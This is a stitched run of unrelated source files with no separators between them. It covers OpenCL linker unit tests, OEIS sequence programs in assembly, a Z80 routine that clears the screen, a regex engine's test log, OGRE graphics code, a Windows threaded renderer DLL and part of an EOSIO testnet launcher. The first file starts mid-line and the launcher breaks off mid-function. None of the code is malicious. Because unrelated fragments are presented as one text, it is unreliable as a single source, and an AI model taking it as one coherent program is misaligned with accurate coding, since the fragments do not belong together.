buildAndDecodeProgramPatchList(); EXPECT_NE(nullptr, pProgram->getLinkerInput()); } TEST(ProgramLinkBinaryTest, whenLinkerInputEmptyThenLinkSuccessful) { auto linkerInput = std::make_unique<WhiteBox<LinkerInput>>(); NEO::ExecutionEnvironment env; MockProgram program{env}; program.linkerInput = std::move(linkerInput); auto ret = program.linkBinary(); EXPECT_EQ(CL_SUCCESS, ret); } TEST(ProgramLinkBinaryTest, whenLinkerUnresolvedExternalThenLinkFailedAndBuildLogAvailable) { auto linkerInput = std::make_unique<WhiteBox<LinkerInput>>(); NEO::LinkerInput::RelocationInfo relocation = {}; relocation.symbolName = "A"; relocation.offset = 0; linkerInput->relocations.push_back(NEO::LinkerInput::Relocations{relocation}); linkerInput->traits.requiresPatchingOfInstructionSegments = true; NEO::ExecutionEnvironment env; MockProgram program{env}; KernelInfo kernelInfo = {}; kernelInfo.name = "onlyKernel"; std::vector<char> kernelHeap; kernelHeap.resize(32, 7); kernelInfo.heapInfo.pKernelHeap = kernelHeap.data(); iOpenCL::SKernelBinaryHeaderCommon kernelHeader = {}; kernelHeader.KernelHeapSize = static_cast<uint32_t>(kernelHeap.size()); kernelInfo.heapInfo.pKernelHeader = &kernelHeader; program.getKernelInfoArray().push_back(&kernelInfo); program.linkerInput = std::move(linkerInput); EXPECT_EQ(nullptr, program.getBuildLog(nullptr)); auto ret = program.linkBinary(); EXPECT_NE(CL_SUCCESS, ret); program.getKernelInfoArray().clear(); auto buildLog = program.getBuildLog(nullptr); ASSERT_NE(nullptr, buildLog); Linker::UnresolvedExternals expectedUnresolvedExternals; expectedUnresolvedExternals.push_back(Linker::UnresolvedExternal{relocation, 0, false}); auto expectedError = constructLinkerErrorMessage(expectedUnresolvedExternals, std::vector<std::string>{"kernel : " + kernelInfo.name}); EXPECT_THAT(buildLog, ::testing::HasSubstr(expectedError)); } TEST(ProgramLinkBinaryTest, whenPrepareLinkerInputStorageGetsCalledTwiceThenLinkerInputStorageIsReused) { ExecutionEnvironment execEnv; MockProgram program{execEnv}; EXPECT_EQ(nullptr, program.linkerInput); program.prepareLinkerInputStorage(); EXPECT_NE(nullptr, program.linkerInput); auto prevLinkerInput = program.getLinkerInput(); program.prepareLinkerInputStorage(); EXPECT_EQ(prevLinkerInput, program.linkerInput.get()); } TEST_F(ProgramDataTest, whenLinkerInputValidThenIsaIsProperlyPatched) { auto linkerInput = std::make_unique<WhiteBox<LinkerInput>>(); linkerInput->symbols["A"] = NEO::SymbolInfo{4U, 4U, NEO::SymbolInfo::GlobalVariable}; linkerInput->symbols["B"] = NEO::SymbolInfo{8U, 4U, NEO::SymbolInfo::GlobalConstant}; linkerInput->symbols["C"] = NEO::SymbolInfo{16U, 4U, NEO::SymbolInfo::Function}; auto relocationType = NEO::LinkerInput::RelocationInfo::Type::Address; linkerInput->relocations.push_back({NEO::LinkerInput::RelocationInfo{"A", 8U, relocationType}, NEO::LinkerInput::RelocationInfo{"B", 16U, relocationType}, NEO::LinkerInput::RelocationInfo{"C", 24U, relocationType}}); linkerInput->traits.requiresPatchingOfInstructionSegments = true; linkerInput->exportedFunctionsSegmentId = 0; NEO::ExecutionEnvironment env; MockProgram program{env}; KernelInfo kernelInfo = {}; kernelInfo.name = "onlyKernel"; std::vector<char> kernelHeap; kernelHeap.resize(32, 7); kernelInfo.heapInfo.pKernelHeap = kernelHeap.data(); iOpenCL::SKernelBinaryHeaderCommon kernelHeader = {}; kernelHeader.KernelHeapSize = static_cast<uint32_t>(kernelHeap.size()); kernelInfo.heapInfo.pKernelHeader = &kernelHeader; MockGraphicsAllocation kernelIsa(kernelHeap.data(), kernelHeap.size()); kernelInfo.kernelAllocation = &kernelIsa; program.getKernelInfoArray().push_back(&kernelInfo); program.linkerInput = std::move(linkerInput); program.exportedFunctionsSurface = kernelInfo.kernelAllocation; std::vector<char> globalVariablesBuffer; globalVariablesBuffer.resize(32, 7); std::vector<char> globalConstantsBuffer; globalConstantsBuffer.resize(32, 7); program.globalSurface = new MockGraphicsAllocation(globalVariablesBuffer.data(), globalVariablesBuffer.size()); program.constantSurface = new MockGraphicsAllocation(globalConstantsBuffer.data(), globalConstantsBuffer.size()); program.pDevice = this->pContext->getDevice(0); auto ret = program.linkBinary(); EXPECT_EQ(CL_SUCCESS, ret); linkerInput.reset(static_cast<WhiteBox<LinkerInput> *>(program.linkerInput.release())); for (size_t i = 0; i < linkerInput->relocations.size(); ++i) { auto expectedPatch = program.globalSurface->getGpuAddress() + linkerInput->symbols[linkerInput->relocations[0][0].symbolName].offset; auto relocationAddress = kernelHeap.data() + linkerInput->relocations[0][0].offset; EXPECT_EQ(static_cast<uintptr_t>(expectedPatch), *reinterpret_cast<uintptr_t *>(relocationAddress)) << i; } program.getKernelInfoArray().clear(); delete program.globalSurface; program.globalSurface = nullptr; delete program.constantSurface; program.constantSurface = nullptr; } TEST_F(ProgramDataTest, whenRelocationsAreNotNeededThenIsaIsPreserved) { auto linkerInput = std::make_unique<WhiteBox<LinkerInput>>(); linkerInput->symbols["A"] = NEO::SymbolInfo{4U, 4U, NEO::SymbolInfo::GlobalVariable}; linkerInput->symbols["B"] = NEO::SymbolInfo{8U, 4U, NEO::SymbolInfo::GlobalConstant}; NEO::ExecutionEnvironment env; MockProgram program{env}; KernelInfo kernelInfo = {}; kernelInfo.name = "onlyKernel"; std::vector<char> kernelHeapData; kernelHeapData.resize(32, 7); std::vector<char> kernelHeap(kernelHeapData.begin(), kernelHeapData.end()); kernelInfo.heapInfo.pKernelHeap = kernelHeap.data(); iOpenCL::SKernelBinaryHeaderCommon kernelHeader = {}; kernelHeader.KernelHeapSize = static_cast<uint32_t>(kernelHeap.size()); kernelInfo.heapInfo.pKernelHeader = &kernelHeader; MockGraphicsAllocation kernelIsa(kernelHeap.data(), kernelHeap.size()); kernelInfo.kernelAllocation = &kernelIsa; program.getKernelInfoArray().push_back(&kernelInfo); program.linkerInput = std::move(linkerInput); std::vector<char> globalVariablesBuffer; globalVariablesBuffer.resize(32, 7); std::vector<char> globalConstantsBuffer; globalConstantsBuffer.resize(32, 7); program.globalSurface = new MockGraphicsAllocation(globalVariablesBuffer.data(), globalVariablesBuffer.size()); program.constantSurface = new MockGraphicsAllocation(globalConstantsBuffer.data(), globalConstantsBuffer.size()); program.pDevice = this->pContext->getDevice(0); auto ret = program.linkBinary(); EXPECT_EQ(CL_SUCCESS, ret); EXPECT_EQ(kernelHeapData, kernelHeap); program.getKernelInfoArray().clear(); delete program.globalSurface; program.globalSurface = nullptr; delete program.constantSurface; program.constantSurface = nullptr; }
; A279905: Number of 2 X 2 matrices with entries in {0,1,...,n} and odd trace with no elements repeated. ; 0,0,0,16,72,216,480,960,1680,2800,4320,6480,9240,12936,17472,23296,30240,38880,48960,61200,75240,91960,110880,133056,157872,186576,218400,254800,294840,340200,389760,445440,505920,573376,646272,727056,813960,909720,1012320,1124800,1244880,1375920,1515360,1666896,1827672,2001736,2185920,2384640,2594400,2820000,3057600,3312400,3580200,3866616,4167072,4487616,4823280,5180560,5554080,5950800,6364920,6803880,7261440,7745536,8249472,8781696,9335040,9918480,10524360,11162200,11823840,12519360,13240080,13996656,14779872,15600976,16450200,17339400,18258240,19219200,20211360,21247840,22317120,23432976,24583272,25782456,27017760,28304320,29628720,31006800,32424480,33898320,35413560,36987496,38604672,40283136,42006720,43794240,45628800,47530000 mov $1,$0 add $0,1 pow $0,2 div $0,2 mov $2,3 sub $2,$1 sub $2,1 bin $2,2 mul $0,$2 div $0,4 mul $0,8
SECTION code_graphics PUBLIC cleargraphics ; ****************************************************************** ; ; Clear graphics area, i.e. reset all bits in graphics ; window (256x64 pixels) ; ; Design & programming by Gunther Strube, Copyright (C) InterLogic 1995 ; ; Registers changed after return: ; a.bcdehl/ixiy same ; .f....../.... different ; .cleargraphics ld hl,$3000 ld de,$3001 ld bc,#(128 * 24) - 1 ld (hl),' ' ldir ret
; A212793: Characteristic function of cubefree numbers, A004709. ; 1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,1,0,1,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,0,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1 seq $0,336551 ; a(n) = A003557(n) - 1. seq $0,188 ; (1) Number of solutions to x^2 == 0 (mod n). (2) Also square root of largest square dividing n. (3) Also max_{ d divides n } gcd(d, n/d). mov $4,$0 mov $6,$0 pow $6,2 clr $2,$6 mov $1,$4 mov $0,$1
;; Regex: "(a+)(b+)" ;; TOKENS: ;; nextsym(): {LParen, '('} ;; nextsym(): {CharSym, 'a'} ;; nextsym(): {Plus, '+'} ;; nextsym(): {RParen, ')'} ;; nextsym(): {LParen, '('} ;; nextsym(): {CharSym, 'b'} ;; nextsym(): {Plus, '+'} ;; nextsym(): {RParen, ')'} ;; nextsym(): {Eof, ''} ;; PARSE TREE: ;; REGEX { ;; SUB { ;; EXPR { ;; TERM { ;; LParen:'(' ;; REGEX { ;; SUB { ;; EXPR { ;; TERM { ;; CharSym:'a' ;; } ;; Plus:'+' ;; } ;; } ;; } ;; RParen:')' ;; } ;; } ;; SUB { ;; EXPR { ;; TERM { ;; LParen:'(' ;; REGEX { ;; SUB { ;; EXPR { ;; TERM { ;; CharSym:'b' ;; } ;; Plus:'+' ;; } ;; } ;; } ;; RParen:')' ;; } ;; } ;; } ;; } ;; } ;; BEGIN GENERATED CODE: save 0 L1: char a split L1 L2 L2: save 1 save 2 L3: char b split L3 L4 L4: save 3 match ;; BEGIN TEST RUNS: ;; "aabb": match(4) (0, 2) (2, 4) ;; "abbbb": match(5) (0, 1) (1, 5) ;; "aaaab": match(5) (0, 4) (4, 5) ;; "bb": no match ;; "aa": no match
/* ----------------------------------------------------------------------------- This source file is part of OGRE (Object-oriented Graphics Rendering Engine) For the latest info, see http://www.ogre3d.org Copyright (c) 2008 Renato Araujo Oliveira Filho <renatox@gmail.com> Copyright (c) 2000-2012 Torus Knot Software Ltd Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------------- */ #include "OgreStableHeaders.h" #include "OgreGLESPBRenderTexture.h" #include "OgreGLESPBuffer.h" #include "OgreGLESContext.h" #include "OgreGLESPixelFormat.h" #include "OgreGLESHardwarePixelBuffer.h" #include "OgreLogManager.h" #include "OgreStringConverter.h" #include "OgreRoot.h" namespace Ogre { GLESPBuffer::GLESPBuffer(PixelComponentType format, size_t width, size_t height) : mFormat(format), mWidth(width), mHeight(height) { } GLESPBuffer::~GLESPBuffer() { } GLESPBRenderTexture::GLESPBRenderTexture(GLESPBRTTManager *manager, const String &name, const GLESSurfaceDesc &target, bool writeGamma, uint fsaa) : GLESRenderTexture(name, target, writeGamma, fsaa), mManager(manager) { mPBFormat = PixelUtil::getComponentType(target.buffer->getFormat()); mManager->requestPBuffer(mPBFormat, mWidth, mHeight); } GLESPBRenderTexture::~GLESPBRenderTexture() { // Release PBuffer mManager->releasePBuffer(mPBFormat); } void GLESPBRenderTexture::getCustomAttribute(const String& name, void* pData) { if (name == "TARGET") { GLESSurfaceDesc &target = *static_cast<GLESSurfaceDesc*>(pData); target.buffer = static_cast<GLESHardwarePixelBuffer*>(mBuffer); target.zoffset = mZOffset; } } GLESPBRTTManager::GLESPBRTTManager(GLESSupport *support, RenderTarget *mainwindow) : mSupport(support), mMainWindow(mainwindow), mMainContext(0) { mMainWindow->getCustomAttribute("GLCONTEXT", &mMainContext); } GLESPBRTTManager::~GLESPBRTTManager() { // Delete remaining PBuffers for (size_t x = 0; x < PCT_COUNT; ++x) { OGRE_DELETE mPBuffers[x].pb; } } RenderTexture *GLESPBRTTManager::createRenderTexture(const String &name, const GLESSurfaceDesc &target, bool writeGamma, uint fsaa) { return OGRE_NEW GLESPBRenderTexture(this, name, target, writeGamma, fsaa); } bool GLESPBRTTManager::checkFormat(PixelFormat format) { return true; } void GLESPBRTTManager::bind(RenderTarget *target) { // Nothing to do here // Binding of context is done by GL subsystem, as contexts are also used for RenderWindows } void GLESPBRTTManager::unbind(RenderTarget *target) { // Copy on unbind GLESSurfaceDesc surface; surface.buffer = 0; target->getCustomAttribute("TARGET", &surface); if (surface.buffer) { static_cast<GLESTextureBuffer*>(surface.buffer)->copyFromFramebuffer(surface.zoffset); } } void GLESPBRTTManager::requestPBuffer(PixelComponentType ctype, size_t width, size_t height) { // Check size if (mPBuffers[ctype].pb) { if (mPBuffers[ctype].pb->getWidth() < width || mPBuffers[ctype].pb->getHeight() < height) { // If the current PBuffer is too small, destroy it and create a new one OGRE_DELETE mPBuffers[ctype].pb; mPBuffers[ctype].pb = 0; } } if (!mPBuffers[ctype].pb) { // Create pbuffer via rendersystem mPBuffers[ctype].pb = mSupport->createPBuffer(ctype, width, height); } ++mPBuffers[ctype].refcount; } void GLESPBRTTManager::releasePBuffer(PixelComponentType ctype) { --mPBuffers[ctype].refcount; if (mPBuffers[ctype].refcount == 0) { OGRE_DELETE mPBuffers[ctype].pb; mPBuffers[ctype].pb = 0; } } }
#include <Windows.h> #include <malloc.h> #include "Render.h" int ProcessorNumber; typedef struct { int NLOS; void *arg_global[23]; int *Done; int res; HANDLE M; } LOSlist; DWORD WINAPI LOSThread(LPVOID arg) { LOSlist *LL=(LOSlist*)arg; int AllDone=0; while (!AllDone) { int l=-1; WaitForSingleObject(LL->M, INFINITE); for (int i=0; i<LL->NLOS; i++) if (!LL->Done[i]) { l=i; LL->Done[i]=1; break; } ReleaseMutex(LL->M); if (l<0) AllDone=1; else { void *ARGV[23]; for (int i=0; i<23; i++) ARGV[i]=LL->arg_global[i]; ARGV[6]=(void*)(((double*)ARGV[6])+l); //x1 ARGV[7]=(void*)(((double*)ARGV[7])+l); //x2 ARGV[8]=(void*)(((double*)ARGV[8])+l); //y1 ARGV[9]=(void*)(((double*)ARGV[9])+l); //y2 ARGV[10]=(void*)(((double*)ARGV[10])+l); //z1 ARGV[11]=(void*)(((double*)ARGV[11])+l); //z2 ARGV[15]=(void*)(((long*)ARGV[15])+l); //Nvoxels ARGV[16]=(void*)(((long*)ARGV[16])+l*arrN); //VoxList ARGV[17]=(void*)(((double*)ARGV[17])+l*arrN); //ds ARGV[18]=(void*)(((double*)ARGV[18])+l*arrN); //x_ind ARGV[19]=(void*)(((double*)ARGV[19])+l*arrN); //y_ind ARGV[20]=(void*)(((double*)ARGV[20])+l*arrN); //z_ind ARGV[21]=(void*)(((double*)ARGV[21])+l*3); //entry_point ARGV[22]=(void*)(((double*)ARGV[22])+l*3); //exit_point int r=RENDER(23, ARGV); if (r) LL->res=1; } } return 0; } extern "C" __declspec(dllexport) int RENDER_MULTI(int argc, void **argv) { LOSlist LL; LL.NLOS=*((int*)argv[0]); for (int i=0; i<23; i++) LL.arg_global[i]=argv[i+1]; LL.Done=(int*)malloc(sizeof(int)*LL.NLOS); for (int i=0; i<LL.NLOS; i++) LL.Done[i]=0; LL.res=0; LL.M=CreateMutexA(0, FALSE, 0); HANDLE* ThreadList=(HANDLE*)malloc(sizeof(HANDLE)*ProcessorNumber); for (int i=0; i<ProcessorNumber; i++) ThreadList[i]=CreateThread(0, 0, LOSThread, &LL, 0, 0); WaitForMultipleObjects(ProcessorNumber, ThreadList, TRUE, INFINITE); for (int i=0; i<ProcessorNumber; i++) CloseHandle(ThreadList[i]); free(ThreadList); CloseHandle(LL.M); free(LL.Done); return LL.res; }
/** * @file * @copyright defined in eos/LICENSE.txt * @brief launch testnet nodes **/ #include <string> #include <vector> #include <math.h> #include <sstream> #include <regex> #include <boost/algorithm/string.hpp> #include <boost/asio/ip/tcp.hpp> #include <boost/asio/ip/host_name.hpp> #include <boost/program_options.hpp> #pragma GCC diagnostic push #pragma GCC diagnostic ignored "-Wunused-result" #include <boost/process/child.hpp> #pragma GCC diagnostic pop #include <boost/process/system.hpp> #include <boost/process/io.hpp> #include <boost/lexical_cast.hpp> #include <boost/filesystem.hpp> #include <boost/filesystem/path.hpp> #include <fc/crypto/private_key.hpp> #include <fc/crypto/public_key.hpp> #include <fc/io/json.hpp> #include <fc/network/ip.hpp> #include <fc/reflect/variant.hpp> #include <fc/log/logger_config.hpp> #include <ifaddrs.h> #include <sys/types.h> #include <netinet/in.h> #include <net/if.h> #include <eosio/chain/genesis_state.hpp> #include "config.hpp" using namespace std; namespace bfs = boost::filesystem; namespace bp = boost::process; namespace bpo = boost::program_options; using boost::asio::ip::tcp; using boost::asio::ip::host_name; using bpo::options_description; using bpo::variables_map; using public_key_type = fc::crypto::public_key; using private_key_type = fc::crypto::private_key; const string block_dir = "blocks"; const string shared_mem_dir = "state"; struct local_identity { vector <fc::ip::address> addrs; vector <string> names; void initialize () { names.push_back ("localhost"); names.push_back ("127.0.0.1"); boost::system::error_code ec; string hn = host_name (ec); if (ec.value() != boost::system::errc::success) { cerr << "unable to retrieve host name: " << ec.message() << endl; } else { names.push_back (hn); if (hn.find ('.') != string::npos) { names.push_back (hn.substr (0,hn.find('.'))); } } ifaddrs *ifap = 0; if (::getifaddrs (&ifap) == 0) { for (ifaddrs *p_if = ifap; p_if != 0; p_if = p_if->ifa_next) { if (p_if->ifa_addr != 0 && p_if->ifa_addr->sa_family == AF_INET && (p_if->ifa_flags & IFF_UP) == IFF_UP) { sockaddr_in *ifaddr = reinterpret_cast<sockaddr_in *>(p_if->ifa_addr); int32_t in_addr = ntohl(ifaddr->sin_addr.s_addr); if (in_addr != 0) { fc::ip::address ifa(in_addr); addrs.push_back (ifa); } } } ::freeifaddrs (ifap); } else { cerr << "unable to query local ip interfaces" << endl; addrs.push_back (fc::ip::address("127.0.0.1")); } } bool contains (const string &name) const { try { fc::ip::address test(name); for (const auto &a : addrs) { if (a == test) return true; } } catch (...) { // not an ip address for (const auto n : names) { if (n == name) return true; } } return false; } } local_id; class eosd_def; class host_def { public: host_def () : genesis("genesis.json"), ssh_identity (""), ssh_args (""), eosio_home(), host_name("127.0.0.1"), public_name("localhost"), listen_addr("0.0.0.0"), base_p2p_port(9876), base_http_port(8888), def_file_size(8192), instances(), p2p_count(0), http_count(0), dot_label_str() {} string genesis; string ssh_identity; string ssh_args; string eosio_home; string host_name; string public_name; string listen_addr; uint16_t base_p2p_port; uint16_t base_http_port; uint16_t def_file_size; vector<eosd_def> instances; uint16_t p2p_port() { return base_p2p_port + p2p_count++; } uint16_t http_port() { return base_http_port + http_count++; } uint16_t p2p_bios_port() { return base_p2p_port - 100; } uint16_t http_bios_port() { return base_http_port - 100; } bool is_local( ) { return local_id.contains( host_name ); } const string &dot_label () { if (dot_label_str.empty() ) { mk_dot_label(); } return dot_label_str; } private: uint16_t p2p_count; uint16_t http_count; string dot_label_str; protected: void mk_dot_label() { if (public_name.empty()) { dot_label_str = host_name; } else if (boost::iequals(public_name,host_name)) { dot_label_str = public_name; } else dot_label_str = public_name + "/" + host_name; } }; class tn_node_def; class eosd_def { public: eosd_def() : config_dir_name (), data_dir_name (), p2p_port(), http_port(), file_size(), has_db(false), name(), node(), host(), p2p_endpoint() {} string config_dir_name; string data_dir_name; uint16_t p2p_port; uint16_t http_port; uint16_t file_size; bool has_db; string name; tn_node_def* node; string host; string p2p_endpoint; void set_host (host_def* h, bool is_bios); void mk_dot_label (); const string &dot_label () { if (dot_label_str.empty() ) { mk_dot_label(); } return dot_label_str; } private: string dot_label_str; }; class tn_node_def { public: string name; vector<private_key_type> keys; vector<string> peers; vector<string> producers; eosd_def* instance; string gelf_endpoint; }; void eosd_def::mk_dot_label () { dot_label_str = name + "\\nprod="; if (node == 0 || node->producers.empty()) { dot_label_str += "<none>"; } else { bool docomma = false; for (auto &prod: node->producers) { if (docomma) dot_label_str += ","; else docomma = true; dot_label_str += prod; } } } void eosd_def::set_host( host_def* h, bool is_bios ) { host = h->host_name; p2p_port = is_bios ? h->p2p_bios_port() : h->p2p_port(); http_port = is_bios ? h->http_bios_port() : h->http_port(); file_size = h->def_file_size; p2p_endpoint = h->public_name + ":" + boost::lexical_cast<string, uint16_t>(p2p_port); } struct remote_deploy { string ssh_cmd = "/usr/bin/ssh"; string scp_cmd = "/usr/bin/scp"; string ssh_identity; string ssh_args; bfs::path local_config_file = "temp_config"; }; struct testnet_def { string name; remote_deploy ssh_helper; map <string,tn_node_def> nodes; }; struct prodkey_def { string producer_name; public_key_type block_signing_key; }; struct producer_set_def { vector<prodkey_def> schedule; }; struct server_name_def { string ipaddr; string name; bool has_bios; string eosio_home; uint16_t instances; server_name_def () : ipaddr(), name(), has_bios(false), eosio_home(), instances(1) {} }; struct server_identities { vector<server_name_def> producer; vector<server_name_def> nonprod; vector<string> db; string default_eosio_home; remote_deploy ssh; }; struct node_rt_info { bool remote; string pid_file; string kill_cmd; }; struct last_run_def { vector <node_rt_info> running_nodes; }; enum launch_modes { LM_NONE, LM_LOCAL, LM_REMOTE, LM_NAMED, LM_ALL, LM_VERIFY }; enum allowed_connection : char { PC_NONE = 0, PC_PRODUCERS = 1 << 0, PC_SPECIFIED = 1 << 1, PC_ANY = 1 << 2 }; struct launcher_def { bool force_overwrite; size_t total_nodes; size_t prod_nodes; size_t producers; size_t next_node; string shape; allowed_connection allowed_connections = PC_NONE; bfs::path genesis; bfs::path output; bfs::path host_map_file; bfs::path server_ident_file; bfs::path stage; string erd; bfs::path config_dir_base; bfs::path data_dir_base; bool skip_transaction_signatures = false; string eosd_extra_args; testnet_def network; string gelf_endpoint; vector <string> aliases; vector <host_def> bindings; int per_host = 0; last_run_def last_run; int start_delay = 0; bool gelf_enabled; bool nogen; bool boot; bool add_enable_stale_production = false; string launch_name; string launch_time; server_identities servers; producer_set_def producer_set; vector<string> genesis_block; string start_temp; string start_script; void assign_name (eosd_def &node, bool is_bios); void set_options (bpo::options_description &cli); void initialize (const variables_map &vmap); void init_genesis (); void load_servers (); bool generate (); void define_network (); void bind_nodes (); host_def *find_host (const string &name); host_def *find_host_by_name_or_address (const string &name); host_def *deploy_config_files (tn_node_def &node); string compose_scp_command (const host_def &host, const bfs::path &source, const bfs::path &destination); void write_config_file (tn_node_def &node); void write_logging_config_file (tn_node_def &node); void write_genesis_file (tn_node_def &node); void write_setprods_file (); void write_bios_boot (); bool is_bios_ndx (size_t ndx); size_t start_ndx(); bool next_ndx(size_t &ndx); size_t skip_ndx (size_t from, size_t offset); void make_ring (); void make_star (); void make_mesh (); void make_custom (); void write_dot_file (); void format_ssh (const string &cmd, const string &host_name, string &ssh_cmd_line); bool do_ssh (const string &cmd, const string &host_name); void prep_remote_config_dir (eosd_def &node, host_def *host); void launch (eosd_def &node, string &gts); void kill (launch_modes mode, string sig_opt); pair<host_def, eosd_def> find_node(uint16_t node_num); vector<pair<host_def, eosd_def>> get_nodes(const string& node_number_list); void bounce (const string& node_numbers); void down (const string& node_numbers); void roll (const string& host_names); void start_all (string &gts, launch_modes mode); void ignite (); }; void launcher_def::set_options (bpo::options_description &cfg) { cfg.add_options() ("force,f", bpo::bool_switch(&force_overwrite)->default_value(false), "Force overwrite of existing configuration files and erase blockchain") ("nodes,n",bpo::value<size_t>(&total_nodes)->default_value(1),"total number of nodes to configure and launch") ("pnodes,p",bpo::value<size_t>(&prod_nodes)->default_value(1),"number of nodes that contain one or more producers") ("producers",bpo::value<size_t>(&producers)->default_value(21),"total number of non-bios producer instances in this network") ("mode,m",bpo::value<vector<string>>()->multitoken()->default_value({"any"}, "any"),"connection mode, combination of \"any\", \"producers\", \"specified\", \"none\"") ("shape,s",bpo::value<string>(&shape)->default_value("star"),"network topology, use \"star\" \"mesh\" or give a filename for custom") ("genesis,g",bpo::value<bfs::path>(&genesis)->default_value("./genesis.json"),"set the path to genesis.json") ("skip-signature", bpo::bool_switch(&skip_transaction_signatures)->default_value(false), "nodeos does not require transaction signatures.") ("nodeos", bpo::value<string>(&eosd_extra_args), "forward nodeos command line argument(s) to each instance of nodeos, enclose arg in quotes") ("delay,d",bpo::value<int>(&start_delay)->default_value(0),"seconds delay before starting each node after the first") ("boot",bpo::bool_switch(&boot)->default_value(false),"After deploying the nodes and generating a boot script, invoke it.") ("nogen",bpo::bool_switch(&nogen)->default_value(false),"launch nodes without writing new config files") ("host-map",bpo::value<bfs::path>(&host_map_file)->default_value(""),"a file containing mapping specific nodes to hosts. Used to enhance the custom shape argument") ("servers",bpo::value<bfs::path>(&server_ident_file)->default_value(""),"a file containing ip addresses and names of individual servers to deploy as producers or non-producers ") ("per-host",bpo::value<int>(&per_host)->default_value(0),"specifies how many nodeos instances will run on a single host. Use 0 to indicate all on one.") ("network-name",bpo::value<string>(&network.name)->default_value("testnet_"),"network name prefix used in GELF logging source") ("enable-gelf-logging",bpo::value<bool>(&gelf_enabled)->default_value(true),"enable gelf logging appender in logging configuration file") ("gelf-endpoint",bpo::value<string>(&gelf_endpoint)->default_value("10.160.11.21:12201"),"hostname:port or ip:port of GELF endpoint") ("template",bpo::value<string>(&start_temp)->default_value("testnet.template"),"the startup script template") ("script",bpo::value<string>(&start_script)->default_value("bios_boot.sh"),"the generated startup script name") ; } template<class enum_type, class=typename std::enable_if<std::is_enum<enum_type>::value>::type> inline enum_type& operator|=(enum_type&lhs, const enum_type& rhs) { using T = std::underlying_type_t <enum_type>; return lhs = static_cast<enum_type>(static_cast<T>(lhs) | static_cast<T>(rhs)); } void launcher_def::initialize (const variables_map &vmap) { if (vmap.count("mode")) { const vector<string> modes = vmap["mode"].as<vector<string>>(); for(const string&m : modes) { if (boost::iequals(m, "any")) allowed_connections |= PC_ANY; else if (boost::iequals(m, "producers")) allowed_connections |= PC_PRODUCERS; else if (boost::iequals(m, "specified")) allowed_connections |= PC_SPECIFIED; else if (boost::iequals(m, "none")) allowed_connections = PC_NONE; else { cerr << "unrecognized connection mode: " << m << endl; exit (-1); } } } using namespace std::chrono; system_clock::time_point now = system_clock::now(); std::time_t now_c = system_clock::to_time_t(now); ostringstream dstrm; dstrm << std::put_time(std::localtime(&now_c), "%Y_%m_%d_%H_%M_%S"); launch_time = dstrm.str(); if ( ! (shape.empty() || boost::iequals( shape, "ring" ) || boost::iequals( shape, "star" ) || boost::iequals( shape, "mesh" )) && host_map_file.empty()) { bfs::path src = shape; host_map_file = src.stem().string() + "_hosts.json"; } if( !host_map_file.empty() ) { try { fc::json::from_file(host_map_file).as<vector<host_def>>(bindings); for (auto &binding : bindings) { for (auto &eosd : binding.instances) { eosd.host = binding.host_name; eosd.p2p_endpoint = binding.public_name + ":" + boost::lexical_cast<string,uint16_t>(eosd.p2p_port); aliases.push_back (eosd.name); } } } catch (...) { // this is an optional feature, so an exception is OK } } config_dir_base = "etc/eosio"; data_dir_base = "var/lib"; next_node = 0; ++prod_nodes; // add one for the bios node ++total_nodes; load_servers (); if (prod_nodes > (producers + 1)) prod_nodes = producers; if (prod_nodes > total_nodes) total_nodes = prod_nodes; char* erd_env_var = getenv ("EOSIO_HOME"); if (erd_env_var == nullptr || std::string(erd_env_var).empty()) { erd_env_var = getenv ("PWD"); } if (erd_env_var != nullptr) { erd = erd_env_var; } else { erd.clear(); } stage = bfs::path(erd); if (!bfs::exists(stage)) { cerr << erd << " is not a valid path" << endl; exit (-1); } stage /= bfs::path("staging"); bfs::create_directories (stage); if (bindings.empty()) { define_network (); } } void launcher_def::load_servers () { if (!server_ident_file.empty()) { try { fc::json::from_file(server_ident_file).as<server_identities>(servers); prod_nodes = 0; for (auto &s : servers.producer) { prod_nodes += s.instances; } total_nodes = prod_nodes; for (auto &s : servers.nonprod) { total_nodes += s.instances; } per_host = 1; network.ssh_helper = servers.ssh; } catch (...) { cerr << "unable to load server identity file " << server_ident_file << endl; exit (-1); } } } void launcher_def::assign_name (eosd_def &node, bool is_bios) { string node_cfg_name; if (is_bios) { node.name = "bios"; node_cfg_name = "node_bios"; } else { string dex = next_node < 10 ? "0":""; dex += boost::lexical_cast<string,int>(next_node++); node.name = network.name + dex; node_cfg_name = "node_" + dex; } node.config_dir_name = (config_dir_base / node_cfg_name).string(); node.data_dir_name = (data_dir_base / node_cfg_name).string(); } bool launcher_def::generate () { if (boost::iequals (shape,"ring")) { make_ring (); } else if (boost::iequals (shape, "star")) { make_star (); } else if (boost::iequals (shape, "mesh")) { make_mesh (); } else { make_custom (); } if( !nogen ) { write_setprods_file(); write_bios_boot(); init_genesis(); for (auto &node : network.nodes) { write_config_file(node.second); write_logging_config_file(node.second); write_genesis_file(node.second); } } write_dot_file (); if (!output.empty()) { bfs::path savefile = output; { bfs::ofstream sf (savefile); sf << fc::json::to_pretty_string (network) << endl; sf.close(); } if (host_map_file.empty()) { savefile = bfs::path (output.stem().string() + "_hosts.json"); } else { savefile = bfs::path (host_map_file); } { bfs::ofstream sf (savefile); sf << fc::json::to_pretty_string (bindings) << endl; sf.close(); } return false; } return true; } void launcher_def::write_dot_file () { 